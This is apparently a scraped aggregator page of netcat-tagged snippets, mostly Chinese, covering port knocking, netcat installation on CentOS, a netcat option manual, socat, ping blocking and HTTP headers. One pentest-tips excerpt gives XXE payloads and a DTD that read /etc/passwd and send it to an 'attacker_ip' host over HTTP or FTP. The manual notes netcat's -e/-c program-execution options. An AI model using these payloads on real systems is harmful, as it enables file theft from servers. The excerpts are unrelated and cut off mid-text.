netcat

Preventing TCP SYN retry in netcat (for port knocking)

混江龙づ霸主 提交于 2021-02-19 03:14:46
问题 I'm trying to write the linux client script for a simple port knocking setup. My server has iptables configured to require a certain sequence of TCP SYN's to certain ports for opening up access. I'm able to successfully knock using telnet or manually invoking netcat (Ctrl-C right after running the command), but failing to build an automated knock script. My attempt at an automated port knocking script consists simply of "nc -w 1 x.x.x.x 1234" commands, which connect to x.x.x.x port 1234 and

渗透测试人员注意!这几个小TIPS能帮你

Deadly 提交于 2021-02-18 16:41:24
扫码领资料 获黑客教程 免费&进群 转乌云安全 这里 记录渗透测试中常见的小Tips。 关于XXE漏洞的一些总结 XXE Payload: <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://attacker_ip:port/xxe.dtd"> <foo>&e1;</foo> xxe.dtd: File Exfiltration over HTTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker_ip:port/res?%p1;'>"> %p2; File Exfiltration over FTP: <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'ftp://attacker_ip:port/%p1;'>"> %p2; 利用工具: xxe-ftp-server.rb XXEinjector XXESERV – A mini webserver with FTP support for XXE payloads OXML_XXE – A tool for embedding XXE

CentoOS6.6安装netcat

自古美人都是妖i 提交于 2021-02-14 15:38:57
CentOS下安装netcat 使用zookeeper过程中,需要监控集群状态。在使用四字命令时(echo conf | nc localhost 2181),报出如下错误:-bash: netcat: command not found。 我的系统是CentOS 6.6, 64位系统,默认没有安装netcat,下面时安装过程中遇到的一些问题。(下面都是使用root用户) 下载netcat安装包 wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1-1.i386.rpm 执行安装rpm -ihv netcat-0.7.1-1.i386.rpm 解决依赖包问题 yum list glibc* 安装命令: yum install glibc.i686 安装netcat包 rpm -ihv netcat-0.7.1-1.i386.rpm 再次测试zookeeper的四字命令,终于成功啦。 来源: oschina 链接: https://my.oschina.net/u/3157270/blog/1859009

netcat 瑞士军刀

时光怂恿深爱的人放手 提交于 2021-02-14 08:49:03
netcat被誉为网络安全界的‘瑞士军刀’,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。 在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑’编译后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,有此功能的原版NC好象要60KB:P),虽然“体积”小,但很完成很多工作。 [v1.10-41] 使用格式: nc [-参数] 主机名 端口[s] [端口] … 侦听入站: nc -l -p 端口[-参数] [主机名] [端口] 参数选项: -c shell commands as `-e’; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b 是否允许广播 -g gateway 源路由跳点[s], up to 8 -G num 源路由指针: 4, 8, 12, … -h this cruft -i secs

centos安装netcat TCP UDP测试工具 简称 nc,安全界叫它瑞士军刀

我们两清 提交于 2021-02-14 08:33:16
centos安装netcat 今天安装swoole后,测试UDP服务需要用到netcat,然而百度了很多安装方法,并没有一个好用的。几经尝试,终于安装成功,现在就分享给大家,以供参考。 配置环境:centos6.5 1.下载安装包 wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz 2.解压缩文件 tar -zxvf netcat-0.7.1.tar.gz -C /usr/local 3.切换至/usr/local/netcat-0.7.1   1>查看编译配置文件    ./configure   2>编译安装    make && make install 4.配置   1>切换至/etc   2>编辑配置文件 vim /etc/profile ,加入: 2、配置 vim /etc/profile 添加以下内容: # set netcat path export NETCAT_HOME=/usr/local/netcat export PATH=$PATH:$NETCAT_HOME/bin 保存,退出,并使配置生效: source /etc/profile   3>生效配置      source /etc/profile   4>查看netcat是否已经生效  

Send image over http via socat bash webserver

℡╲_俬逩灬. 提交于 2021-02-08 08:59:48
问题 I am trying to write a webserver in bash using socat. I am having trouble serving image requests. I'm opening the socat listening connection like so: socat -T 30 -d -d TCP-L:$LISTENIP,reuseaddr,fork,crlf SYSTEM:"$0 \"docroot=$DOCROOT\"" I'm serving the image with the following, where $1 is the docroot and $2 is the image file name. function serve_png { if [ -e $1$2 ] then SIZE=`stat -c '%s' $1$2` echo -ne "HTTP/1.1 200 OK\nContent-type: image/png\nContent-length: $SIZE\n\n" cat $1$2 else echo

What are .sock files and how to communicate with them

为君一笑 提交于 2021-02-07 20:40:46
问题 What are .sock files? How can I communicate with a .sock file? Elaborating on the 2nd bullet, I understand that .sock files are for Inter-process communication. How can I 'communicate' with them? Let us say a sock file is designed to respond in a specific way (For ex: it takes the input 'time' and prints out the current time). I prefer higher level programming languages (python) more than C/C++ . It'd also be better if someone can point me to some application (like nc maybe?) that I can use

What are .sock files and how to communicate with them

我的梦境 提交于 2021-02-07 20:40:15
问题 What are .sock files? How can I communicate with a .sock file? Elaborating on the 2nd bullet, I understand that .sock files are for Inter-process communication. How can I 'communicate' with them? Let us say a sock file is designed to respond in a specific way (For ex: it takes the input 'time' and prints out the current time). I prefer higher level programming languages (python) more than C/C++ . It'd also be better if someone can point me to some application (like nc maybe?) that I can use

Linux禁止ping以及开启ping的方法

元气小坏坏 提交于 2021-02-01 04:01:10
作者:Happiness 来源:https://urlify.cn/Mr6zMb ☞ 当当网4.23图书3.9折大促 ☜ Linux默认是允许Ping响应的,系统是否允许Ping由2个因素决定的 : 1. 内核参数 2. 防火墙 需要2个因素同时允许才能允许Ping,2个因素有任意一个禁Ping就无法Ping。 内核参数设置 禁止ping设置: 1)临时禁止ping命令如下所示: # 如果想要临时允许的话只需要把下面的1换成0即可 echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all 2)永久禁止ping命令如下所示(如果想要永久允许的话只需要把下面的1换成0即可) 在 /etc/sysctl.conf 文件中增加一行 net.ipv4.icmp_echo_ignore_all=1 修改完成后执行 sysctl -p 使新的配置生效。 防火墙设置 (注意:此处的方法的前提是内核配置是默认值,也就是没有禁止ping) 这里以iptables防火墙为例: 1)允许ping设置 iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT 或者可以临时停止防火墙操作:

“x-ec-custom-error: 1” What does it mean?

心已入冬 提交于 2021-01-29 20:55:45
问题 While studying the HTTP protocol, I saw this in a response header field: x-ec-custom-error: 1 I was using netcat to get example.com's main page through a proxy connection. Here is all console comunication where this header appears: $ nc -x (omitted proxy address):3128 -Xconnect www.example.com 80 GET http://www.example.com/ HTTP/1.1 Host: www.example.com HTTP/1.1 200 OK Accept-Ranges: bytes Cache-Control: max-age=604800 Content-Type: text/html Date: Fri, 07 Mar 2014 20:08:45 GMT Etag: